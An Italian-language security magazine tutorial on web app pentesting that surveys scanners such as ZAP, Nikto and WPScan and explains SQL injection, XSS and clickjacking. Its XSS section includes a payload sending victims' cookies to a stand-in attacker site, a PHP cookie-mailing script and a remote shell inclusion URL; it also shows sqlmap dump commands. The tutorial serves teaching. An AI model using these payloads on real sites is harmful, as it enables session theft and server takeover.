Web App Pentesting: guida completa all’assessment delle vulnerabilità delle web application

Il Web App Pentesting è cruciale per garantire la sicurezza delle applicazioni web. Utilizzando strumenti come OWASP-ZAP, W3af e WPscan, è possibile identificare vulnerabilità critiche come SQL injection, XSS e clickjacking. Questi tool aiutano a eseguire una valutazione approfondita delle falle di sicurezza, prevenendo configurazioni errate e rischi di attacchi informatici. Tuttavia, è essenziale operare eticamente e con il consenso del proprietario del sito.

Introduzione al vulnerabilities assessment per web application e siti web

Dopo aver visto come creare un laboratorio virtuale per i propri test e simulazioni, approfondiamo ulteriormente l’argomento vulnerabilities assessment concentrandoci su web application e siti Web. Essendo queste ultime continuamente esposte a Internet, è facile intuire come una configurazione errata o un aggiornamento non effettuato risultino preziose per un potenziale attaccante.

Vedremo come effettuare una prima valutazione, enumerando le vulnerabilità emerse di modo da poter sfruttare alcune di esse. Ancora una volta, sottolineiamo che compiere le operazioni descritte qui di seguito nei confronti di un target reale e senza consenso esplicito, significa incorrere nelle prescrizioni previste dal Codice Penale.

Strumenti open-source per il vulnerabilities assessment

Per riuscire nel nostro intento ci avvarremo di strumenti open-source (alcuni dotati anche di un’ottima interfaccia grafica) che rendono automatico e relativamente semplice il procedimento di valutazione. Occorre sottolineare come nel mondo reale come questa procedura generi parecchio rumore e sia facilmente individuata (vedasi bloccata) da firewall e dispositivi IDS, anche attraverso proxy e rete Tor. Ulteriori svantaggi sono:

  • enorme quantità di output, spesso contenente falsi positivi che confondono e disorientano il tester (circa il 60% sono falsi positivi);
  • gli scanner, inoltre, possono avere un impatto negativo sul nostro target; in alcuni casi possono anche provocare malfunzionamenti che devono essere corretti manualmente dall’amministratore;
  • le risorse impiegate, in termini di hardware e banda necessarie per la valutazione, possono essere notevoli.

OWASP-ZAP: il riferimento per il Web App Pentesting

Cominciamo presentando uno tra gli strumenti multi-piattaforma più amati dai pentester;
ZAP . Sviluppato dal progetto OWASP ( Open Web Application Security Project ), rappresenta un punto di riferimento nel Web penetration testing e il suo funzionamento è in buona parte automatico (anche se a onor del vero i risultati migliori si ottengono impostando il programma come proxy e analizzando ogni singola richiesta ottenuta navigando all’interno del sito web). Infine, permette di esportare i report in formato .xml o .html .

Screenshot di una sessione di web app pentesting utilizzando OWASP ZAP, un tool open-source per l'identificazione di vulnerabilità. L'immagine mostra l'interfaccia del programma durante una scansione attiva, evidenziando l'URL attaccato e il progresso della scansione.

Lanciamo una scansione di prova verso uno dei siti test messi liberamente a disposizione e portiamoci sulla tab Avvisi, che ci mostrerà le vulnerabilità presenti e la loro gravità.

Schermata che mostra l'avanzamento di una scansione di sicurezza su un'applicazione web utilizzando OWASP ZAP. L'immagine elenca vari tipi di vulnerabilità rilevate, come SQL Injection e Cross Site Scripting (XSS), con indicazione della loro forza, progresso e tempo impiegato.

W3af: semplicità e efficacia nella scansione di vulnerabilità

Altro valido tool multipiattaforma che si distingue per la sua semplicità utilizzo è w3af .
Offre la possibilità di selezionare profili preimpostati di scansione più o meno aggressivi: se non si hanno specifiche esigenze, il consiglio è quello di selezionare la metodologia OWASP , che comprende le voci di audit più utilizzate e significative.

Vega: scansione automatica e analisi dei siti web

Nel novero degli scanner automatici vale la pena di menzionare anche Vega, utilizzato soprattutto per fare crawling del sito target, analizzare il contenuto delle pagine, trovare link e altre vulnerabilità. Ha una semplice interfaccia grafica e può essere utilizzato in alternativa anche come proxy. Purtroppo non consente l’esportazione dei risultati della scansione effettuata, costringendo di volta in volta l’operatore a prelevare il database del test dalla cartella di sistema che, nei sistemi operativi Linux, si trova sotto

/usr/share/vega .
L'immagine mostra l'interfaccia dello scanner di vulnerabilità web Vega, in particolare la schermata di selezione dei moduli.

Per i più smaliziati vi sono poi diversi tool da riga di comando molto efficaci che sono generalmente preinstallati in qualsiasi distribuzione Linux dedicata alla sicurezza.
Nonostante la mancanza dell’interfaccia grafica, possiedono il grande vantaggio di mostrare tutto l’output generato: oltre a una grande completezza, il tester avrà modo di tenere sott’occhio ogni singola richiesta generata dal programma e il relativo status (o errore restituito).

Skipfish: mappatura del sito e attacchi dizionario

Skipfish consente di ottenere una mappa del sito target ma è in grado di effettuare anche attacchi dizionario. Cosa interessante da notare, il tool genera una cartella di output con un report in HTML preciso e gradevole da consultare. Tra le diverse opzioni che offre, il suo utilizzo classico è il seguente:

skipfish -o PERCORSO/CARTELLA/DI/REPORT
http:// WWW.SITO.COM/PAGINA_DI_LOGIN.XXX
skipfish -o PERCORSO/CARTELLA/DI/REPORT -W PERCORSO/NOSTRA/WORDLIST
http:// WWW.SITO.COM/PAGINA_DI_LOGIN.XXX
L'immagine mostra una finestra del terminale che esegue Skipfish, uno scanner di sicurezza per applicazioni web.

Ogni tanto, premere la barra spaziatrice all’interno del terminale per avere dettagli in tempo reale sulla scansione. Di seguito il report che è possibile aprire con un comune browser:

L'immagine mostra un report generato da Skipfish, un tool di scanning per la sicurezza delle applicazioni web. La schermata visualizzata è un riepilogo dei problemi identificati durante la scansione del sito web.

Nikto: scanner per server web e file CGI pericolosi

E’ uno scanner per server web che valuta soprattutto file CGI pericolosi e software server obsoleto. Esegue controlli specifici ed è in grado di catturare anche i cookie ricevuti.

nikto -host WWW.SITOWEB.COM -T 1 -o PERCORSO/DI/REPORT -F htm
L'immagine mostra il report di Skipfish, un tool di sicurezza per testare le vulnerabilità delle applicazioni web. Nella schermata sono elencati vari tipi di problemi rilevati durante la scansione di un sito web, con una sintesi visiva che utilizza diversi colori per indicare la gravità e il tipo di vulnerabilità

Per identificare eventuali vulnerabilità è necessario osservare l’output del programma: le voci OSVDB seguite da un numero corrispondono a bollettini raccolti da Open Source Vulnerability Database ; ad oggi purtroppo questo portale non viene più aggiornato ma l’output generato rappresenta comunque un ottimo punto di riferimento per una preliminare valutazione. Anche qui vediamo il report del programma in versione HTML.

Report dettagliato di un test di sicurezza condotto con uno strumento di analisi delle vulnerabilità web. Nella schermata sono evidenziati vari tipi di problemi rilevati durante la scansione del sito.

WPscan: identificazione delle vulnerabilità in siti WordPress

Attualmente il 30% dei siti web è realizzato con WordPress, un CMS ben strutturato e di facilissima gestione. Lo strumento che qui analizzeremo – wpscan – consente di identificare vulnerabilità riscontrate su siti Web realizzati con questa piattaforma. È in grado di analizzare plugin, temi, utenti e così via; il suo database, inoltre, è in costante crescita. A tal proposito, la prima operazione da compiere prima di procedere alla scansione vera e propria, è proprio l’aggiornamento del database di ricerca. Apriamo un
terminale e digitiamo:

sudo wpscan --update
sudo wpscan --url http://WWW.SITO.COM

Per compiere una enumerazione degli Utenti:

sudo wpscan --url http://WWW.SITO.COM --enumerate u

Enumerazione dei Plugin:

sudo wpscan --url http://WWW.SITO.COM --enumerate vp

Enumerazione dei Temi:

sudo wpscan --url http://WWW.SITO.COM --enumerate vt

In presenza di firewall verrà restituita la seguente schermata:

Interfaccia di configurazione di WPscan, un tool di penetration testing, utilizzato per eseguire test di sicurezza su applicazioni web. La schermata presenta una serie di opzioni e impostazioni che l'utente può selezionare per personalizzare la scansione.

Eventuali vulnerabilità saranno evidenziate nell’output del programma da un [!] arancione o rosso a seconda della gravità riscontrata.

Interfaccia di configurazione di WPscan, un tool di penetration testing, utilizzato per eseguire test di sicurezza su applicazioni web. La schermata presenta una serie di opzioni e impostazioni che l'utente può selezionare per personalizzare la scansione.

Principali vulnerabilità delle web application

Abbiamo passato brevemente in rassegna l’utilizzo dei principali scanner automatici. Ma quali sono le principali vulnerabilità di cui può soffrire un sito Web? Vediamo di esaminare le principali.

SQL injection: compromissione del database

Statisticamente piuttosto diffuse, le SQL injection sono da sempre le preferite dagli hacker per compromettere applicazioni Web; sono sufficienti poche google dorks per rendersi conto del numero elevato di siti che ad oggi ne soffrono. Tuttavia, con l’attuale diffondersi dei più moderni (e sicuri) CMS, il loro numero è in diminuzione. Con una SQL injection, si compie una richiesta SQL non autorizzata su un DBMS, mediante l’inserzione di codice falso all’interno di un URL, di un form o di uno script.

Sempre facendo riferimento al nostro sito test messo a disposizione dal gruppo Acunetix , prendiamo ad esempio la seguente pagina vulnerabile:

➔ http://test.vulnweb.com/artists.php?artist=5-2

Digitando un semplice apice nella barra dell’URL otterremo un messaggio di errore simile al seguente, che ci darà conferma della presenza una vulnerabilità SQLi:

➔ http://test.vulnweb.com/artists.php?artist=5-2’
Fase avanzata di un penetration test, in cui un tester utilizza strumenti di comando per eseguire controlli di sicurezza su un sistema o una rete specifica. Le informazioni mostrate sono tecniche e vengono utilizzate per identificare e documentare le vulnerabilità del sistema target.

In alcuni casi, ZAP ci segnala i parametri SQL da inserire nei campi username e password per ottenere una validazione dei dati. Si veda l’esempio seguente:

L'immagine mostra un report di risultati generato da uno strumento di scanning delle vulnerabilità, probabilmente dopo aver effettuato un penetration test su un sito web o un'applicazione.

Con il programma da riga linea di comando sqlmap è poi possibile compiere una enumerazione di database, tabelle, campi e colonne, con l’intento di catturare dati sensibili:

sqlmap -u WWW.PAGINAVULNERABILE.COM --dbs
sqlmap -u WWW.PAGINAVULNERABILE.COM -D NOMEDATABASE
--tables
sqlmap -u WWW.PAGINAVULNERABILE.COM -T users -C id,email --dump
--threads=5

XSS – Cross Site Scripting: iniezione di codice malevolo

Le vulnerabilità XSS sono le più gravi per un’applicazione Web; anche qui gli attacchi prevedono un’iniezione di codice (in questo caso javascript ) da parte di utenti malintenzionati all’interno di pagine Web visualizzate dagli utenti. Statisticamente sono più diffuse delle SQL injection e sfruttandole è possibile provocare danni devastanti alle pagine di siti Web. Il test di valutazione per eccellenza, una volta individuata la pagina vulnerabile, prevede l’inserimento del seguente codice all’interno della barra URL:

<script>alert('CIAO LETTORI DI ICT SECURITY MAGAZINE!!! ABBIAMO UNA PAGINA VULNERABILE')</script>

Vediamo gli effetti su Gruyere , un’applicazione di Google volutamente vulnerabile dedicata a sviluppatori .


Il seguente pop-up ci conferma la presenza della vulnerabilità ipotizzata:


Si distinguono due principali categorie di vulnerabilità XSS :

● Reflected : non consentono un defacing definitivo del sito ma sfruttando la vulnerabilità della pagina, è possibile indurre una vittima in errore. Un attaccante potrebbe incollare e inviare via mail il link della pagina vulnerabile comprensiva del codice malevolo (che prevede, ad esempio, un redirect a un sito poco carino): in questo modo, farebbe in pratica eseguire alla vittima quello che abbiamo verificato in precedenza sulla pagina vulnerabile del nostro sito di prova. Se poi volessimo esagerare, da bravi attaccanti potremmo reindirizzare la vittima verso un link malevolo (magari con grafica e aspetto di un sito fidato) e sottrarre il cookie di autenticazione; ci basterebbe creare un sito Web ad hoc e inserire il seguente codice nell’URL vulnerabile:

<script>WWW.SITOVULNERABILE.COM/pag.php?variabile="><script>location.href="WWW.SITOMALEVOLOATTACCANTE.COM/PAGINARUBACOOKIE.PHP"+document.cookie;</script>

Dove PAGINARUBACOOKIE.PHP è una pagina del sito malevolo che contiene il seguente codice:

<?
mail("EMAIL.ATTACCANTE@EMAIL.COM","Così rubiamo i cookie della vittima",$_GET['cookie']);
?>

Attraverso un semplice cookie manager, sarà possibile riutilizzare le credenziali della vittima.

● Stored: quest’altra tipologia riguarda siti che possiedono un database, che memorizzano informazioni insomma: tipico esempio può essere un form di commento, dove si lasciano il nome e un messaggio (come feedback o guestbook):

USERNAME: QUELLOCHEVUOI
MESSAGGIO: <script>alert(‘ATTENTO SEI VULNERABILE’)</script>

Facciamo un refresh della pagina e vedremo gli effetti: a questo punto possiamo iniettare codice malevolo o reindirizzare anche qui ad altri siti tentando azioni di phishing.

Consideriamo la seguente pagina che i nostri scanner hanno individuato come vulnerabile:

http://WWW.SITOVULNERABILE.COM/index.php?pagina=PAGINAVULNERABILE.php

Modifichiamo l’indirizzo come segue:

http://WWW.SITOVULNERABILE.COM/index.php?var=http://WWW.SITOATTACCANTE/SHELLMALEVOLA.php

A questo punto è chiaro come il rimando al sito malevolo, che comprende una shell in PHP, consenta all’attaccante di caricare qualsivoglia file (immagini, video, eseguibili) sulla pagina Web vulnerabile.

Clickjacking: manipolazione ingannatrice del clic dell’utente

Attraverso la tecnica del clickjacking, l’utente clicca con il puntatore del mouse un oggetto (un link ad esempio) ma in realtà il suo clic viene reindirizzato, a sua insaputa, su un altro oggetto. Il clickjacking sfrutta JavaScript o un InnerFrame . Questa seconda tipologia è la più pericolosa. Si consideri il seguente esempio: l’attaccante crea un sito di compravendita che però non vediamo; preleva un iFrame trasparente da un altro sito innocuo che, in precedenza, si è rivelato vulnerabile al clickjacking.

Crea un semplice bottoncino con una scritta del tipo “Registrati e scarica la guida gratuita in PDF ”. Posiziona questo iFrame trasparente che ha un pulsante del tipo “Compra ora!” proprio sopra (sovrapposto) al bottoncino appena creato; in alternativa crea un iFrame trasparente che segue sempre il puntatore del mouse, come un’ombra.
Quando la vittima cliccherà per tentare di scaricare la guida, ovviamente verrà reindirizzata al sito di compravendita.

Questo metodo era molto diffuso per rubare i Like di Facebook o modificare le impostazioni dei plugin Adobe, magari attivando la fotocamera del PC. Per verificare che il proprio sito sia suscettibile ad attacchi di questo genere, è necessario creare un file .html che contenga i seguenti parametri:

<HTML>
<BODY>
<H1>SE VEDI LA PAGINA QUI SOTTO, QUESTO SITO È VULNERABILE AL CLICKJACKING</H1>
<IFRAME SRC="http://WWW.SITODAVALUTARE.COM/" HEIGHT="600" WIDTH="800"></IFRAME>
</BODY>
</HTML>

A cura di: Milo Caranti

Profilo Autore

Dopo aver frequentato la facoltà di Giurisprudenza, lavora attualmente come programmatore e svolge attività consulenziale per uno studio legale di Milano. Da sempre appassionato di Sicurezza informatica e vicino alle attuali tematiche in ambito ICT, è autore del libro ”Guida al Pentesting con Parrot Security OS”.

Condividi sui Social Network:

Ultimi Articoli